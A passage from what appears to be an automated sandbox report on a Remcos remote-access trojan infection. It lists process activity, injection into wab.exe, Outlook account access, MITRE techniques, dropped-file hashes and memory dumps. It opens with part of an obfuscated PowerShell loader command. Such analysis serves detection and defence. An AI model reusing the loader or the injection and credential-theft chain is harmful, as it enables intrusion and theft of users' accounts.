bl,ebaoCompendminhalatBReboleraEmpassisDoorbele Hoota 6 Hollyw4bowleggSRemovertMonarkerProce.ei DeindinJulequig Forvar(Inst,nt$ SubtilPKon rolrCitole eSend mnrAabenbae Antecej ,imreseTubigancSportsgtUtilsteiTaffelboSkolepsn Re,xpo) Opgav ');Eschel (Brneaarene ' Semirh$B,ningsgDoserinlUnuanceoRiflerfb Rfsunca aa enblSatirep: D,uggeu PuseyedFactorivTroke oiMuckwordKul.urkeAbonnem Ac cia=,onbook Overtr[,ebatinSGagerinyGnom.nds AastedtMonocule.utrankmKa,otte.Regul.tTprocureeOpsaetnxphilobitFidibus.ForbogsEVovhundnUgengldcTekstkooForsnakdNitrogliMe.tesrnsuppedegUnbiass]Sttters:Udvoks :ChloranABowwortSS eretnCIndgaarIAnaglypISamf.nd.CollingG tannoge LacerttCurioloS,olkesatKretiskrC,gnituiRingbrynRupeesvgdisting( wel,er$SvarfriTCatech oBlousegmKnapbotlHurtigteDeskripnC cinerd F lkete Kle.tosTorchma) Misspe ');Eschel (Brneaarene 'Waliser$ Le,onsg eutrallAckmanboM,sfondb Pha.taaNavnelilsemivol:PopulisTSt,ftsfrCopolymaDaktyloaBurgerbdTiereranPr.cumbe YverettFejlerntRecapskeTa.demmtMillboasMet.llo=Bippern$YndestcuProb,scd NaturevGodsbaniExocycldFu,dmgteKrselso.Tilk ndsOpvelseuVandforbBegyndesFaconsttNongarrrstoejsii kurtisnPari.etgPrevisi(D kende$Cal.bitSThel,rruDrvepoebPo itict Misantr Ep,uleaIndrykncForsikrtIllogic, itter$,ombardPunpla.trSengekaooftennecPreparoeDetailsdchildriu FyldenrBegrende RaadignFalk,sas Hjemme)Skibbru ');Eschel $Traadnettets;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2580
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Relatival.Esk && echo t"
      4⤵
      PID:2464
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4468
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ctfjciwh"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1324
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\fwkbdagisob"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:2744
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\pqpuetrcgwtjlm"
        5⤵
        
        PID:548
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\pqpuetrcgwtjlm"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
ddb192c86331c5ad5bcd77651e49f420

SHA1
50ec939894d477f70a45f47b3bf9f2b31bf11b4a

SHA256
380308f0447bd10613247eba0540772253a17432345fcccdafdfb8d1b53526e3

SHA512
69cd0a1f42ed9481ae00803f2e489f94667b28606197e64c251dcec3aad33ba05292d16eac4b430a38b9dd9709e041261942ef3e9268c7146cb6f84e71519e33

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b5kds4tx.i2n.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ctfjciwh

Filesize
4KB

MD5
cf3a1bffdc9d8c82debb6f29d9b340cd

SHA1
a36a4793e51bb89c84bc3629254f1b48867eb4a9

SHA256
c478c1b2ac1314506490e4a682c38ebaba1965c910d3bafbbd9da4b020404355

SHA512
77c8a1ec2743372aff2f7de9e2363e498c6a66e51b1dc23d6012c50d0e1f1f6001bfe781f49dfa636e71575f3984f46d7a44f92351aafbe1546e7c193bfe444d

Download Submit
C:\Users\Admin\AppData\Roaming\Relatival.Esk

Filesize
481KB

MD5
c893457e42b60d4088f4cb151646f3f7

SHA1
557e788e9a9e5bf0417f280e3228248bae035bfe

SHA256
9f0a0f963478c382410f631066abdaefd7e87bbed1c5a64a4ad2c2b3dda4eb6f

SHA512
ed130b04c750d12c02c9dcf1fd25d021df926f5e2f03ae9ba2d2d89d83ad1e9c69d0d81dac8628888c314338c11b7321ef294b67689ce4754167d895d5336287

Download Submit
memory/1324-61-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1324-63-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1324-59-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2328-15-0x00007FFAB7B10000-0x00007FFAB85D1000-memory.dmp

Filesize
10.8MB

Download
memory/2328-17-0x00007FFAB7B10000-0x00007FFAB85D1000-memory.dmp

Filesize
10.8MB

Download
memory/2328-4-0x00007FFAB7B13000-0x00007FFAB7B15000-memory.dmp

Filesize
8KB

Download
memory/2328-54-0x00007FFAB7B10000-0x00007FFAB85D1000-memory.dmp

Filesize
10.8MB

Download
memory/2328-16-0x00007FFAB7B10000-0x00007FFAB85D1000-memory.dmp

Filesize
10.8MB

Download
memory/2328-5-0x0000021DF6CA0000-0x0000021DF6CC2000-memory.dmp

Filesize
136KB

Download
memory/2328-45-0x00007FFAB7B13000-0x00007FFAB7B15000-memory.dmp

Filesize
8KB

Download
memory/2328-44-0x00007FFAB7B10000-0x00007FFAB85D1000-memory.dmp

Filesize
10.8MB

Download
memory/2580-22-0x0000000005C60000-0x0000000005C82000-memory.dmp

Filesize
136KB

Download
memory/2580-34-0x0000000005EB0000-0x0000000006204000-memory.dmp

Filesize
3.3MB

Download
memory/2580-40-0x0000000007720000-0x0000000007742000-memory.dmp

Filesize
136KB

Download
memory/2580-41-0x0000000008950000-0x0000000008EF4000-memory.dmp

Filesize
5.6MB

Download
memory/2580-38-0x0000000006A60000-0x0000000006A7A000-memory.dmp

Filesize
104KB

Download
memory/2580-43-0x0000000008F00000-0x000000000AE8C000-memory.dmp

Filesize
31.5MB

Download
memory/2580-37-0x0000000007D20000-0x000000000839A000-memory.dmp

Filesize
6.5MB

Download
memory/2580-36-0x0000000006500000-0x000000000654C000-memory.dmp

Filesize
304KB

Download
memory/2580-35-0x00000000064C0000-0x00000000064DE000-memory.dmp

Filesize
120KB

Download
memory/2580-39-0x0000000007790000-0x0000000007826000-memory.dmp

Filesize
600KB

Download
memory/2580-24-0x0000000005E30000-0x0000000005E96000-memory.dmp

Filesize
408KB

Download
memory/2580-23-0x0000000005DC0000-0x0000000005E26000-memory.dmp

Filesize
408KB

Download
memory/2580-21-0x00000000055E0000-0x0000000005C08000-memory.dmp

Filesize
6.2MB

Download
memory/2580-20-0x0000000002BA0000-0x0000000002BD6000-memory.dmp

Filesize
216KB

Download
memory/2744-64-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2744-60-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2744-62-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3668-70-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3668-67-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3668-65-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4468-56-0x0000000000C70000-0x0000000001EC4000-memory.dmp

Filesize
18.3MB

Download
memory/4468-48-0x0000000000C70000-0x0000000001EC4000-memory.dmp

Filesize
18.3MB

Download
memory/4468-73-0x000000001FA90000-0x000000001FAA9000-memory.dmp

Filesize
100KB

Download
memory/4468-77-0x000000001FA90000-0x000000001FAA9000-memory.dmp

Filesize
100KB

Download
memory/4468-76-0x000000001FA90000-0x000000001FAA9000-memory.dmp

Filesize
100KB

Download
memory/4468-79-0x0000000000C70000-0x0000000001EC4000-memory.dmp

Filesize
18.3MB

Download
memory/4468-47-0x0000000000C70000-0x0000000001EC4000-memory.dmp

Filesize
18.3MB

Download
memory/4468-82-0x0000000000C70000-0x0000000001EC4000-memory.dmp

Filesize
18.3MB

Download
memory/4468-85-0x0000000000C70000-0x0000000001EC4000-memory.dmp

Filesize
18.3MB

Download
memory/4468-88-0x0000000000C70000-0x0000000001EC4000-memory.dmp

Filesize
18.3MB

Download
memory/4468-91-0x0000000000C70000-0x0000000001EC4000-memory.dmp

Filesize
18.3MB

Download
memory/4468-94-0x0000000000C70000-0x0000000001EC4000-memory.dmp

Filesize
18.3MB

Download
memory/4468-97-0x0000000000C70000-0x0000000001EC4000-memory.dmp

Filesize
18.3MB

Download
memory/4468-100-0x0000000000C70000-0x0000000001EC4000-memory.dmp

Filesize
18.3MB

Download
memory/4468-103-0x0000000000C70000-0x0000000001EC4000-memory.dmp

Filesize
18.3MB

Download
memory/4468-106-0x0000000000C70000-0x0000000001EC4000-memory.dmp

Filesize
18.3MB

Download